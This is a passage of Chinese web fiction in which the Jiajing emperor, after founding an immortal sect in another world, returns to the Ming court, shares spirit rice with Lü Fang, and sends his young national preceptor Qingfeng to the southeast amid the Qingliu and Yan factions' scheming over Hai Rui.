大明仙宗有金丹大修士坐镇,按照九品家族制,对应修仙路上的九个境界。 九对炼气;八对筑基;七对金丹; 所以,黑风寨可以开辟一個七品的凡人家族,可以经营该领地内的坊市,田产等等。 这事必须要快,拖延不得。 虽说四方城是大荒开辟战争以来,兴建的大城,但这次开辟战争有功劳的散修势力不少,这些势力和个人可都有建宗的名额。 如此一来,四方城内要建立的凡人家族,自然也不会少,同等级的凡人家族,更不会少,所以必须要抢占好位置才行。 这也是为什么刘权要求最快一个月内建立宗门的的原因,与这点不无关系。 凡人家族跟修仙宗派之间的关系,非常紧密。可以说一个修仙宗派能否长久发展,其中最关键的一点,就是靠家族输送新鲜血液。 此外凡人家族还要代表仙宗经营一些产业,四方城作为修仙大城,凡人家族经营的产业,自然也都是修仙相关的。 比如修仙宗派给家族提供符箓、法器、丹药等等,他们负责售卖,赚的灵源,都要送入修仙宗派,用作宗派的额外收入。 对于一些小宗派来说,凡人家族经营的产业,更是尤为重要。 毕竟他们的灵脉不好,甚至有的驻地,都要好几家小宗派共用一条灵脉。 灵源就会作为最要的修仙资源。 大明仙宗日后的主营产业,就三个,丹药、灵草和最大头的收入,飞梭! 一个好的地段,好的坊市,更是重中之重。 刚到宗门,独孤英三兄弟和刘权,负责安抚原来山寨中的弟兄,将年龄小的留下,将年龄大的,登记名册后安排到家族中。 当然,也会给他们灵源,和修仙功法,只要有人引气入体,突破练气一层就可以入宗。 一晃十几天,又是半个月的时间过去。 大荒最大的修仙大城之一,四方城内,多了一个名为“独孤”的七品凡人家族。 经营着不小的坊市,灵田生意。 因为独孤家族经营的产业范围中有飞梭,所以引发了不少散修和家族的注意。 一般刚开的飞梭行,都会便宜打折出售一些物美实用的飞梭,所以很多人都在翘首以盼。 一时间,这个新兴的七品凡人家族,引起了不小的轰动和关注。 喧闹了数日的宗门,随着那些滞留的人离去,宗门内也顿时空荡了下来。 留下的那些小到四五岁,大到十几岁的孩子,则是由刘权带着教授修炼。 而这些孩子,会是大明仙宗的初代弟子,也是宗门未来的中流砥柱。 宋薪柴一头扎进了后山灵田中。 带着几个原山寨中,达到练气一层的弟兄们,开垦荒地,种植灵米,灵果。 一手飞梭制作手艺的柳源,则是窝在自己的“飞梭阁”内,开始研究制作第一批飞梭。 毕竟家族那边,马上就要开业了,飞梭业务,作为日后宗门收入的大头,必须要跟上! 宗主独孤英,自开辟战争之后,境界上就有所感悟,于是处理完宗务后就开始了闭关。 独孤雄和独孤汉,二人身为大明仙宗的左右护法,一个负责护山大阵和宗门防御,忙着在周围布阵,防止路过的散修闯入作乱。 另外一个,则是忙着梳理灵脉。 至于嘉靖,在宗门内事务全部忙完,步入正规后,便直接在“传承阁”最顶层,打开防护阵,布下层层禁制之后,对外宣告了闭关。 实则带着一些资源,再次回到了大明。 “……” 第四十三章 灵米(求追读) 玉熙宫。 大殿外明亮的阳光透过门窗缝隙,形成宛若刀斧般的道道光线,照进略显昏暗的大殿。 这时,门外吕芳的声音再次响起。 “奴婢吕芳,敬禀…主子陛下……” “清流把事情搞砸了,事情不可收拾了,严党又揪着清流不放,还请主子示下……” 吕芳还在虔诚的祷告着。 嘉靖心中一动,拿起身旁的罄锤随手一摆,铜罄发出“铛”的一声嗡鸣。 玉熙宫外,吕芳正在虔诚祷告。 “奴婢吕……”听到声音的吕芳身体一怔,到嘴的第二遍祷告声戛然而止。 “主子出关了!?”吕芳心中顿时一喜,就要去敲门,突然又顿住。 “呼。”先是深吸一口气,等到平复心情,而后又自上而下的整理了一番仪容,这才抬手轻轻敲了敲门,等了片刻,推门而入。 一进门,直接跪下道贺。 “奴婢吕芳,恭贺太上大罗天仙/紫极长生圣智昭灵/统三元/证应玉虚/总管五雷大真人/玄都境/万寿帝君,主子陛下出关!” “主子陛下仙体万安,修为精进!” “好奴婢,”听到吕芳这虔诚的恭顺,嘉靖嘴角露出笑容,“沐浴更衣。” “是,奴婢这就安排!”吕芳笑着立刻出门,不一会就招来太监们准备沐浴用具。 一个半月没有洗澡,虽然有‘清洁符箓’在,一张符就能清洁全身,不再需要凡俗水物,但是用水洗,又有人按摩伺候,和干干巴巴的符箓可是两种感觉。 刘权也说了,就算是那些修仙的女修,也都喜欢在无人处,脱干净了洗身子。 足以见得,水洗,终究是强于干洗的! 很快,嘉靖便在吕芳的伺候下舒服的躺在了浴桶里。 “东南的事朕已经知道了,说说别的。”小半晌后,嘉靖缓声道。 “是,”吕芳知道嘉靖可以视听天下,倒也不奇怪,不过他还是大致说了一遍,道: “除了新上任的定海知县海瑞,还要继续深查走私案,引发内阁震动外,就是国师了。” “不久前,民间大量流传出对国师不好的言论,说是……”说到这里,吕芳语气微微一顿,看了眼闭目不言的嘉靖,又道: “妖道祸国,妖女魅惑君王。” “还说国师借用渡劫之名,谬言天劫降罚,因此西厂才会突然抓捕京师官员,其中多有忠良遭冤入狱,就是严党为打击异己所为。” “据锦衣卫奏报,各地均有这些言论,大多都来源于民间江湖,不过很快就被当地的官府压下,倒也没有什么风浪。” (注:此处江湖,并不是指武侠小说里的江湖,而是指社会边缘群体的栖身之所。 在历史文献中,江湖也常常指远离朝廷中心、城市繁华之外的地方。 是流浪者、隐士、侠客、艺人、商贩等各类社会边缘人物的活动场所。 这些人物往往生活在官方控制力较弱的地带,形成一种独特的社会生态。) “那丫头知道了?”嘉靖随口问道。 “国师身边有严府送来的道童。收到宫外的消息,情绪倒是低落了几天,”吕芳说着,声音中带着些许笑意,道:“不过在奴婢将主子闭关前说的话告诉她后,国师似乎有所悟。” “心情倒也恢复了不少。” “呵,”嘉靖想到了清风那清澈单纯的眸子,不禁轻笑着睁开眼,“看来咱这位清风玄灵守真慧悟真人,造化也不低?” “国师能得主子仙家之言点化,自是造化不低。”吕芳立刻一记马屁送上。 “司马光写给王安石的信里有句话说的好,”嘉靖从浴桶中坐起身,接过吕芳递来的干净道袍后穿好,语气幽幽,“士大夫在朝廷及自四方来者,莫不非议介甫。” “他们这是在攻讦朕的国师?” “妖道祸国?妖女魅惑君王?什么样的君王才能让妖道祸国?才能被美色魅惑?” “昏君!”嘉靖说着,回身看了眼吕芳,然后头也不回的走向大殿。 “他们是在变相的告诉朕,想要变法,想要动他们的利益,那就是昏君!” “主子息怒,”吕芳挥手示意小太监赶紧把浴桶收拾干净,然后快步跟上,道:“世俗凡人,岂能理解主子仙途霸业?” “还望主子莫要为此烦忧。” “不说这这些了,”嘉靖摆手说着,来到火炉边上,指了指上面的砂锅,道:“去换个新的来,朕说过要赏你,有好东西!” 听到嘉靖说有好东西赏自己,吕芳顿时一喜,上次主子给他跟陆炳吃的‘仙丹’可是让他身子骨硬朗的跟小伙子一样。 这次主子又说有赏,那必然也是仙家之物了。 怀着激动和期盼的心,吕芳也不磨蹭,当即取下砂锅,然后从边上柜子里,取出一个新的砂锅,仔细用水清洗了两遍才呈到嘉靖跟前。 “放桌上。”嘉靖说话间一抬手,然后就在吕芳惊异的注视下,只见掌心凭空出现大半个拳头大小的包裹。 一股淡淡的清香散出,涌入吕芳口鼻。 仅仅是这丝淡淡的香味,就让他有种浑身舒爽之感,冬日里的寒冷,身体的疲倦一扫而空! 吕芳贪婪的吞吸着这股香味,生怕走漏,浪费一丝一毫,死死盯着嘉靖手上的小包裹。 “主子,这是何等仙物?!” “此物名为灵米,乃是修仙之人的食物,”嘉靖说着解开小包裹,递到吕芳跟前,“看看与平日里使用的水稻有何不同……” 嘉靖正说着呢,就见吕芳两眼呆滞,张大着嘴,盯着他手上的一两灵米,顿时笑骂着踢了这老货一脚,“啧,没出息的东西!” “嘿嘿!”回过神的吕芳抬起袖子擦了擦口口水,谄笑道:“奴婢也是头一次看这等仙家之物,一时入了迷,还请主子恕罪……” “这灵米,似乎是稻米?”吕芳舔了舔嘴唇,目光紧紧锁定嘉靖手中的灵米,细致入微地观察着,不断的吸着灵米散发的香气。 不同于寻常稻谷的朴素,从表面看,这灵米每一粒儿看起来都要比普通稻米更为精致。 色泽温润如玉,泛着淡淡的白润光泽。粒粒饱满,形状匀称,仿佛是天地间精华的凝聚,经过阳光与雨露的精心滋养而成一般。 尤其是窗外阳光的照射下,散发着淡淡的银白色光泽,表面似乎还流转着微妙的纹路。 “种植方式与普通稻米一样,但土壤却不是凡土,而是灵脉滋养的灵土。”嘉靖说着,心中颇为感慨,这东西也属于修仙资源的一种。 一升灵米售价是十两灵源。 “吕芳,如今的米价几何?”想及此处,嘉靖突然又问道。 “回主子,大明如今普遍米价是,一石六到七钱不等,”吕芳说着,略一思索,又道: “部分灾区,物价上涨,米价略有上调,一石米在二两至五两银子之间不等。” 吕芳是司礼监掌印,负责内阁批红的,这些物价什么的,他自然是清楚的。 “飒!”嘉靖随手将手里的一包灵米撒进了砂锅里,心中暗道:“两个世界物价计算不同,但大致的度量衡差不多。” “一石大约相当于十斗,而一斗则约等于十升,灵米一升就卖十两灵源……” “这要是在大明,当真是天价了。” 想着,嘉靖一抬手,又拿出一张符箓,灵气注入,然后在吕芳的注视下,只见符箓陡然化作一道清澈的水流,没入砂锅中。 “这是灵泉,”嘉靖说着,转身走向精舍,“把锅子放在炉上照着煮粥的火候就成。” “是!”吕芳闻言,小心翼翼的盖上盖子,然后双手捧着砂锅放在火炉上开始煮粥。 不一会,玉熙宫内香气四溢。 香气从宫内逸散而出,让门外守候的太监食指大动,狂吞起了口水。 一個半月,抛开一个月的闭关,半个月时间嘉靖在宗门里吃的就是灵米饭。 现在回来了,自然再看不上宫里的俗物。 “……” 第四十四章 裕王并不软弱?!清流:呜呜呜,仁慈的父,请再爱我一次! 约莫一刻多钟后。 “主子,灵粥好了!” 吕芳吞了口口水,小心翼翼的取下砂锅,冲精舍里打坐的嘉靖道。 “嗯,”嘉靖缓缓睁开眼,嘴角露出笑容,轻甩道袍,招手道:“盛一碗来。” “是。”吕芳开始小心的盛粥,生怕洒出半点出来,毕竟这些都是‘仙人’才能享用的灵粥,浪费半点都价值连城,“主子。” “不错,没想到大名鼎鼎的司礼监掌印大监,还有一手煮粥的好本事。”接过递到跟前的灵粥,嘉靖打趣了吕芳一声。 “主子取笑奴婢了。”吕芳脸上露出笑容,静静候在一旁,伺候嘉靖喝粥。 “别愣着了,自己拿碗盛,”嘉靖喝了一勺灵粥,抬了抬手示意吕芳也一起吃,“朕说了这是给你的赏赐,剩下的都是你的。” “奴,奴婢谢主子!”听到嘉靖说身下的灵粥都是自己的后,吕芳鼻头顿时一酸,说完赶紧转过身快速抹了一把眼,去盛粥。 见此,嘉靖笑了笑并未放心上。 灵米不同于灵源,煮熟后凡人也可以管饱吃,不但不会因为狂暴的灵气重创身体,反而有滋养,延年益寿的好处。 吕芳是自己的绝对心腹,嘉靖自然不会吝啬。 “陆炳还没回来吗?”喝了一口粥,嘉靖看向下方,坐在小凳子上喝粥的吕芳。 现如今,自己身边就两个绝对的心腹,也是知道自己得仙缘的人,嘉靖自然不会忘了陆炳。 “原本是要回来的,”吕芳吞下嘴里的灵粥,顿了顿道:“出了海瑞这档子事,奴婢不放心东南那边,担心出乱子就让他晚几天。” “看来文孚是没口福了,”嘉靖点了点头,笑着打趣道:“回头他定是要怪你吃独食。” “这可不能怪奴婢,奴婢也是沾了主子仙福齐天之光,文孚能为主子办事,已是沾光了,旁人想为主子办事,还办不上呢。” “你这老滑头,回头文孚砍你,朕可不帮。”嘉靖笑骂一声。 “他是锦衣卫,奴婢也曾是王府贴身侍从,倒也不怕了他。”吕芳给自己竖着大拇指。 玉熙宫内,主仆间其乐融融。 “冬日暖阳正好,陪朕一道去玄殿看看,看朕的国师在忙什么。”用过膳,嘉靖走出精舍,伸了个懒腰,当先朝着门外而去。 对于主子闭关出来,并未第一时间理政这点,吕芳也不感到奇怪。 主子行事向来莫测,他只管伺候着就是,再说了,主子闭眼便可视听天下。 定海县就算再乱,又能乱到哪里去? 主子既然不放心上,那就说明心中早已有打算,岂容得他从旁置喙? 一路坐着皇帝御用的驾辇,由六名虎背熊腰的太监抬着向东而行。 从横跨太液池的玉河桥上而过,路过承光殿从广场一路穿行,东出乾明门,远远的便看到了不远处的玄圃宫,一路上不少太监都跪迎。 “想来,宫外已经得到消息了,”嘉靖靠坐在舒适的榻子上,笑看向吕芳,“想来,宫外头有些人这几天定是不怎么好受。” “主子说的是,”随行在旁的吕芳立刻笑着道:“小阁老最近可是一心为公,堪称我大明的扛鼎之人,对东南之事盯得很是紧。” “短短半个月,内阁已经派了三四波人了,小小的定海县,可谓是我大明朝的漩涡中心了,只怕是有人又要搅主子的清净了。” “为人君父,自当为臣民而劳苦筋骨,费力心神,”嘉靖微微一笑,道:“若是苦一苦朕,福能让臣子和百姓享了,何妨呢?” “主子仁德圣明,心怀天下,希望他们能体会这份君父的苦心。” 说话间,已经来到了玄殿之外。 嘉靖所料不错,这段时间以来,确实有人不好受,嗯,可以说是相当难受! 而这难受的人不是别人,正是清流一伙。 此刻在收到皇帝出关后的消息后,清流众人,可以说热泪盈眶,像是受了委屈的孩子,听到父亲归来,找到靠山一般。 裕王府,大殿中。 “啪!”裕王一拍桌子,站起身,看着徐阶、高拱、张居正和赵贞吉,道:“在座的都是自己人,索性今天就把话挑明了!” 见裕王发怒,徐阶也不能再一副老神在在的模样了,微微欠了欠身。 “四弟对我们已经是穷追猛打了,这盘棋,不管本王,还是你们,都输不起。” “你们可明白了!” 说着,裕王盯着徐阶,意思不言而喻了,我知道你在东南那边的所有事。但我不在乎,有景王在追着我,我不会让你们有失。 一直以来,裕王对清流背后的士绅大族从来不挑明了说话,这是第一次把话说的这么明。 实在是他也被逼急了。 一旦东南的事,让那个海瑞再继续查下去,有严党助阵,清流迟早会被查个底掉。 到了那时,局势就会是翻天覆地的变化,真正的攻守易型,因为严党已经在之前的塌天大祸之中,交钱保命,逃出升天了。 如果清流被查掉,那么朝堂将再无清流的余地。 而自己,也将彻底失去一大助力! 父皇年龄大了,说句不敬的,恐怕无多时日了。 大位更迭,何其残酷冷血? 一旦自己在这一轮的斗争中败下阵来,那将再无翻身之时,父皇本就喜欢景王,肯定会在最后立景王为太子,传位给景王。 所以,现在的裕王已经被彻底逼急了! “所以,直说了吧,怎么才能让这個海瑞停下来!”裕王脸色冰冷,眼神阴沉。 此时,大殿内的气氛,仿佛降到了冰点。 徐阶高拱,张居正、赵贞吉等人,此刻都被裕王的表现给惊到了。 这还是他们认识的那个温润如玉,非常听劝,听取他们意见的贤王? 这一瞬间展露的气势,竟让他们心惊不已。 难不成,裕王此前一直都在藏拙?猛地,徐阶等人心中浮现出这么个念头来。 果然,皇族,没一个简单的啊! “咳!”张居正轻咳一声,打破气氛率先开口,道:“海瑞此人,太过刚直了,这次是我们判断失误了,此人是把宝剑……” “却也是把双刃剑,还是一把凡人不可驾驭之剑!” “常规手段,恐怕无法让他停下……”说到这里,张居正的语气逐渐温吞起来。 炉火里,火焰升腾,毫无征兆的跳了一下。 “太岳,你是想?”高拱的心陡然一惊,看向面色平静温润的张居正。 “宝剑虽好,但若是不受控制,反噬其主,那么再好也只能舍弃。”张居正语气平静,说话间他始终看向徐阶。 “我不同意,海瑞他是忠臣,是贤臣,也是接下来对付严党的利剑……”高拱话还没说完,赵贞吉跟着就幽幽道:“可他现在是严党……” “严党手中的剑!” “这把剑,宁愿让它折了,我也绝不愿意让它被敌人拿起来,对付我们自己!” 裕王的话,让众人说话已经没有了顾忌。 现在东南失控,严党紧咬不放,不把他们弄死誓不罢休,他们已经是一条船的人了。 “……你!”听到赵贞吉这番话,高拱看了看低眉垂目,沉默的徐阶,温润面不改色的张居正,还有果断放弃海瑞的赵贞吉,顿时语塞。 “我也不愿意这把好剑就此折断,”张居正起身,目视窗外,语气幽幽,道: “现在,唯一能保住这把剑,又能救命的,或许只剩下了一个法子……” “踏、踏、踏!”这时,殿外传来急促的脚步声,跟着裕王的心腹太监进来,语速急促道: “陛下出关!” “哗!”一言出,众人惊,猛然起身,张居正豁然转身,看向众人。 “只有陛下可救人亦救剑!” 这一刻,清流从来没有一次,像这次一样,对自家那不理朝政,只管修仙,糟践天下的皇帝陛下,充满期待。 就像是一个受尽了委屈的孩子,听到父亲归来,终于找到了父的依靠一般。 “……” 第四十五章 杀海瑞,怪怪的问仙祷词? 严府,书房中。 “爹,陛下出关了!”严世蕃收到消息后,第一时间风风火火的闯了进来。 正在看书的严嵩抬了抬眼皮,然后又默默的低下了头,继续看书。 “现在东南那边,海瑞已经‘杀疯’了,只需要继续查下去,就能查到徐阶头上。” “到时候,我们在朝中一发力,毕其功于一役,清流一脉将彻底出局!” “可偏偏这个时候,皇上出关了,”严世蕃满脸担忧之色,“爹,您说皇上会不会插手?” “会。”严嵩很肯定的回了一个字。 “这!”听到老爹如此肯定的说皇帝会插手干预,严世蕃先是一怔,而后猛地一急,就要说话,却被严嵩再次打断,“世藩!” “做好我们的本分即可。”严嵩说着,抬起头,浑浊的眸子深处有莫名之色闪烁。 “皇上说的,云在青天水在瓶。” “大明朝,没有人是奸臣,大家都是在为朝廷做事,为皇上尽忠。” “我们也不是为了斗倒什么人。” “东南的事情如果有问题,那自然是一查到底,若是没有问题,也应该不怕人查。” 听到这里,严世蕃顿时恍然,他明白了老爹的意思了。 也是猛然反应过来,对啊,现在我们才是正义的一方,我们严家才是忠臣。 徐阶之流,才是真正的奸佞。 他们勾结士绅大族,兼并土地,私开海运,荼毒天下,现在有证据了,我们自然要查! 就算皇帝会让各方平衡,肯定会插手,但那也是清流该操心的事情。 如果他们那点土能盖住屎,自然没人说什么,现在没盖住,让人给刨出来了,那可就别怪我们举起正义之剑,开始审判了! “让东南那边的人保护好海瑞。”低头翻书的严嵩又开口道。 “保护海瑞?”听到保护海瑞,严世蕃一愣,心中一惊,道:“爹,你是说清流会对海瑞下手,然后以此抹平此事?” “没道理啊,如果陛下插手,那自然会让东南的事平息,有我们在海瑞怎么可能……” “海瑞是把不受控制的双刃剑,没有人能驾驭他,必然有人会对出手,你明白吗!” 严世蕃话还没说完,就见老爹猛然抬头,对他大声呵斥。 “吼!”无形中好似有恶虎咆哮,择人而噬,让他心头狠狠一颤。 看着老爹展露的威势,再联想到那句不受任何人驾驭的剑,严世蕃顿时福至心灵。 他明白了,海瑞要死! 一旦陛下出手的话,定会平衡各方,现在也只有陛下能让事态平息下来。 清流清楚这点,所以他们就算有杀海瑞的理由也不会杀了,一切等陛下圣裁即可。 而这个时候,如果海瑞死了,那么毫无疑问,清流一方才是最有动机的。 既是要毕其功于一役,那么此事要么不做,要么就把事情一次做绝了,彻底让清流没有任何可以转圜的余地! 东南?无论如何乱也卷不到他们严家身上,海瑞一死,这事就彻底没了余地,就算陛下想出手偏袒清流,也没有了理由。 “儿子知道了。”严世蕃对严嵩恭敬一礼后,转身大步离去。 一出门,就见自己的两个跟班,罗龙文和鄢懋卿已经门口候着了。 “给东南飞鸽传书,”严世蕃压低声,眼神中有寒光闪烁,“做掉海瑞!” 身为严世蕃身边谋士的罗龙文一怔,而后稍加思索便明白了过来,点点头大步离去。 顷刻间,清流和严党,双双因为皇帝‘玄修’出关,而改变了双方既定的计划。 原本清流是打算折了海瑞这把不受控制,还被严党掌握,砍向他们的双刃剑,但瞬息间,局势发生反转,严党要亲自折断这柄剑。 因为他们心里清楚,这把双刃剑不受任何人掌控,皇帝出手,那一切都将被抹平。 必须要在皇帝出手之前,办成既定之事! 对于严党和清流的暗流涌动,嘉靖自然不知道,此时他已经来到了玄圃宫外。 “不必。”抬手拦下吕芳要喊话的动作,嘉靖笑着背手踏进大门。 “之前国师拒绝了安排其他道童,只留下严阁老送来的两个贴身女道童从旁伺候。” 见嘉靖看出玄圃宫内没有去其他道士,吕芳不等询问,第一时间开口解释。 “这是贫道山涧修行时悟出的一首‘问仙祷词’,黄公公每日诵读,有助于静心安神。” 正要进大殿,然后就听大殿内传来少女清脆而又严肃的声音。 “呵。”听到清风的声音,嘉靖轻笑着驻足在门口,也没有进去,只是背着手静静听着,对吕芳笑道:“黄锦也是個求造化的?” “主子仙福齐天,奴婢们已是叼天之光,黄锦这小子有些贪了。”吕芳低声笑道。 这时,大殿里再传出说话声。 “还请国师示下。” 大殿里,黄锦盘腿而坐,紧绷着脸,严肃的看着面前,手拿拂尘,身穿道袍的少女国师。 一袭藏蓝色道袍,脑袋上用木簪挽了个丸子髻儿的清风,白净可爱的鹅蛋脸很是严肃。 在她身后,两个同样穿着藏蓝色道袍,只有十二岁的女道童,乖巧的垂手而立。 “咳咳!”清风轻咳一声,然后严肃着小脸,“我念一句,你跟着念一句。” 说完也不等黄锦作答,直接开口,“只要心诚则灵啊灵啊灵,虔诚之心,感彻寰宇深。” “只要心诚就灵……嗯?”刚开口念到一半,黄锦脑袋上就浮现出了一个问号。 嗯,这祷词怎么感觉哪里怪怪的? 虽然那心中疑惑,不过黄锦还是念道:“只要心诚就灵啊灵啊灵……” 心中却还是暗自怀疑,这祷告真管用吗? “灵韵悠悠,飘啊飘啊飘,道心随风,摇曳于世外桃源旁。”清风继续认真念着。 见她神情认真虔诚,黄锦也只能跟着念,“灵韵悠悠,飘啊飘啊飘……” 清风:“山川回应,鸣啊鸣啊鸣,道者修行,心灵澄净似明镜。” 黄锦:“山川回应,鸣啊鸣啊鸣……” 清风:“有求必应啊应啊应,道之所在,无欲则刚,无为则柔。” 黄锦:“有求必应啊应啊应……” …… 清风:“光明普照啊照啊照,指引迷途,知返照,心如止水不惊鸿。” 黄锦:“光明普照啊照啊照……” 大殿里,少女清脆认真的声音响起一句,黄锦的声音也跟着传来一句。 “呵!”听完一遍后,嘉靖摇头轻笑,一时竟不知道该说什么好,吕芳也是微微摇头,道:“主子,这应该是首小童谣更贴切。” 嘉靖没有回应,抬脚进了大殿。 吕芳也是第一时间高喊了一声,顿时大殿里的声音也戛然而止。 “山川回应,鸣啊鸣啊…呜?”看到进门的嘉靖,清风眨了眨眼,“陛下?” “奴婢黄锦,叩见主子陛下。”黄锦立刻从垫上爬起,跪了下去。 “清风见过陛下。”回过神的清风和那两个小道童,也立刻跟着行礼。 “平身吧。”嘉靖来到大殿正前方,三清尊神下方,接过吕芳烧好的香,拜了一拜后插入香炉之中,这才转身看向清风。 这时,吕芳则是挥了挥手,示意黄锦带着两个小道童退下。 “恭贺陛下出关。”清风恭敬作揖礼。 “拂尘不错,”嘉靖指了指她搭在臂弯处的拂尘,“朕有一事不明,前来找国师解惑。” “请陛下示下,清风定当知无不言。”清风大大的眸子里,清澈明亮,似未经浊世污染的宝石一般的眼神,陡然变得认真。 自己这个国师,终于要为陛下分忧了吗。 想到民间对自己的误解,说自己妖言祸国,清风板着鹅蛋小脸,心中暗暗发力。 一定要多多规劝陛下,与民和善,与百官和善,让他们都看看,自己才没有祸国呢。 “……” 第四十六章 皇上出手了,众人又失眠了! “近来,东南频遭天灾肆虐,倭寇侵扰不断,百姓生活困苦,动荡不安。”嘉靖来到窗前,清风立刻跟上。 “国师之前说自己精通符箓、丹鼎、占验和经典这道家四派,”说着,嘉靖转身,看向眼前目光纯真,清澈无暇的少女,道: “近日可曾夜观天象,占验出些什么?” 听到陛下问自己天象,清风眨了眨眸子,不过还是认真的点点头,开口说起。 “嗯,星辰确有动荡。”清风说着,语气微微一顿,组织了一番语言,道:“东南巽位,荧惑与镇星相迫,其象颇为不祥。” “荧惑主乱,镇星司固,二者相逼,恐预示东南之地将有不安之象。” “荧惑闪烁,似有烽烟之警;镇星沉稳,却难挡乱世之劫……”说着,清风一顿,有些迟疑的抬眼,看向嘉靖。 这些天黄锦没少教她东西。 知道对皇帝,对国事的讨论上,是要有敬畏之心的。 “大胆说,不管说什么都恕你无罪。”嘉靖大度摆手,面容严肃,目含鼓励之色。 “嗯!”感受到皇帝陛下眼神中的鼓励,清风也有了信心,抿了抿小口,再次开口。 “此乃天地之变,人事之征。” 倒是让她说对了个大概,看来这道门天才,虽然一些言论上有异端成分,但‘学业’方面,这小丫头她倒也确实是个天才。 心中想着,嘉靖微微点头,给了她个鼓励的眼神,示意继续说下去。 感受到嘉靖眼神示意后,清风心中感受到了莫大鼓舞,继续开口说了起来。 “东南之地,水气充沛,若荧惑过于炽烈,恐引水火相激,生出灾变。民心思定,而荧惑之乱,镇星之滞,恐令人心浮动,社稷不宁。” “不错,”嘉靖微笑颔首,而后面容陡然一肃,沉声道:“国师所言与近日东南传来的一些奏报,都一一应证上了。” “东南确实发生了一些事情。” “朕闭关多日,静心参悟,深感东南地区怨气颇深,民心不稳,似有冤屈未能昭雪。” “此非仅是天象所显,亦是人间事态的反映。” “故朕思虑再三,决意不日便派遣国师前往东南,主持罗天大醮,以祈福禳灾,同时彻查民情,澄清冤屈,以期国泰民安。” 说到这里,嘉靖背着手,严肃的看着清风,道:“国师可愿前往,助朕解决此事?” 前往东南,主持罗天大醮,彻查民情?这突如其来的消息,让清风怔了许久。 一双清澈,纯真,无暇般的眸子里,满满的都是惊呆之色,小口都下意识的张开。 一旁的吕芳听到这番话后,心中已是了然,主子这是要出手了。 只是用国师破东南清流和严党那如今,堪称白热化战场之局这一招,恐怕无人能想到。 “怕了?”嘉靖微微俯身,凑近小丫头的跟前,说话间抬手帮她合上了下巴。 “不,不怕。”看着面前这张严肃中带着些许不易察觉的,为君为父般的柔和的面庞,清风微吸口气,小脸绷着,道: “清风不怕,愿为陛下分忧!” “好!”嘉靖直起身,一摆袖袍,“这才是朕看重的国师!” “年龄小又如何?甘罗十二岁可拜相,朕之大明国师,十六岁亦可为国而奔走。” “十六岁如何呢?谁让朕看中的国师,她只有十六岁呢…吕芳!”说着,嘉靖摆手转身,一手叉着腰,一手摆了摆道袍抬起手指,道: “命国师,清风玄灵守真慧悟真人为钦差,三日后启程东南,首站定海县。 主持罗天大醮,安定民心,彻查民情。浙江境内道门名宿与各府衙门需全力配合。” “是!”早已恭候听话的吕芳沉声应答。 “对了,”说着,嘉靖似是想到了什么,道:“让黄锦带着他那些东厂的人,护送朕的国师钦差此次东南行,以供驱策,不得违逆。” “主子放心,奴婢稍后就安排下去。”吕芳也是肃容应承。 “朕让黄锦陪你一起去,你跟他熟悉,有什么解决不了的,让他记下来告与朕。” 说着,嘉靖俯身凑近,看着清风,肃容道:“记住那些不听话的,回来朕给你出气。” “嗯!”看着嘉靖威严,近在咫尺的面容,清风眨了眨眼,白净可爱的鹅蛋脸上绽出笑容,重重点头,“嗯,定不负陛下所托!” 之后又在清风处呆了半天,临近傍晚,嘉靖这才在清风的恭送下,起驾回了玉熙宫。 “通知下去,明日宣内阁玉熙宫议政。”嘉靖坐在精舍里,“朕要听他们说说东南,到底是怎么回事,想来他们也很想说给朕听。” “有些人正等着主子给他们做主呢。”听到这话,吕芳微微一笑,道: “就是不知道,他们听到主子任命国师为钦差,前往定海县,此时又会是何等表情?” “海瑞这把剑该收回来了,如今朝中还没人能掌握他,”嘉靖换了个舒服的姿势,“不过收剑也是有讲究的,朕就再教他们一课!” “能当万寿帝君的门生,这些人也算是祖上积福气了,只盼望他们能学到主子的万分之一,也能让主子省点心。”吕芳认真道。 “咚!咚!” 天色渐暗,宫门口的暮鼓响起,夜色渐渐降临。 夜,严府,书房里。 “爹,皇上这是什么意思?”严世蕃拧着眉心,看向老爹严嵩,“让清风丫头去东南?主持罗天大醮我理解,彻查民情?” “她一个小丫头,能懂什么?”说着,严世蕃一挑眉,凑近了严嵩几分,“爹,满朝都知道,清风丫头是我们的人。” “她在外头已经打上了严党的标签。” “您说,陛下让她去东南,是不是在暗示我们什么?会不会是让我们停手的意思?” 严嵩此时拿着公文,低眉垂目,目光沉沉,也在思考着皇帝的行为。 “皇上的最终目的,定是为了平息海瑞这次引发之事,”半晌,严嵩这才沉沉道:“至于让清风丫头前去东南,是在提示我们……” “又或是在敲打清流?” “一切尚未可知,但可以肯定的一点是,皇上既然出手了,就不会轻拿轻放。” “明日相机行事。” “嗯,”如今老爹都看不清皇上的目的,严世蕃也只好按捺下来。 此刻,跟严嵩父子二人一样心情的,还有徐阶、高拱,张居正为首的清流。 也是摸不准,这次国师东南之行会发生什么,皇上他们都了解。 不出手则已,一旦亲自出手了,那后果,他们能有多疼,可就不得而知了。 一切,都看明天了! 一时间,清流也好,严党也罢,这一晚,一如上次那般,再次失眠了。 心中,对皇帝也越发的敬畏恐惧起来。 “……” 第四十七章 庚午时,冲鼠煞北 嘉靖四十年,三月初七,己巳时。 严府书房里,此时早已经穿戴整齐的严嵩,端坐于榻上,似乎是在发呆。 他手里捧着一本有钦天监印信的皇历,目视前方,似乎是在沉思。 “爹?”这时,还穿着一身绸缎长袍的严世蕃,看到老爹严嵩的状态,不由微微一愣,上前关切道:“可是有什么不妥?” 严嵩抬了抬眼皮,看向儿子严世蕃,冷不丁的问道:“还记得爹的属相吗?” “这自然记得,”听到老爹竟然问自己他的属相,严世蕃毫不犹豫,道:“您属鼠。” “好端端的,怎么问起这个了?”说话间,严世蕃来到严嵩旁边坐下,拿起榻上小桌放着的茶壶,准备给自己倒茶。 “昨日,宫里说的议政是什么时辰?” “午时啊,怎么了?”严世蕃手上动作一滞,然后继续倒茶。 “三月初七,庚午时,冲鼠煞北,我也是才反应过来。”严嵩放下皇历后,揣着手,坐在榻上,两条腿互相交叉着,就这么抬头看着窗户外的沉沉天色,不知想什么。 “嗯?”此时,听到这话的严世蕃也是一愣,正要送到嘴边的茶盏一顿。 他自然知道“庚午时,冲鼠煞北”的意思。 严世蕃的反应倒也不慢,想到入宫议政的时间后,放下茶盏后一把拿过皇历。 目光略过记载的繁杂信息,锁定在时辰宜忌上。 果然看到了“庚午时,冲鼠煞北”的字样。 “爹,您是说皇上另有深意?”严世蕃一拧眉,看着自己的老爹,道:“或许没别的意思,上次不也是午时才宣旨入宫吗?” 严世蕃说着,就见老爹回头看向他。 “此一时彼一时,”严嵩说着又回过头去,“看来我是老了,看到皇历才明白过来……” 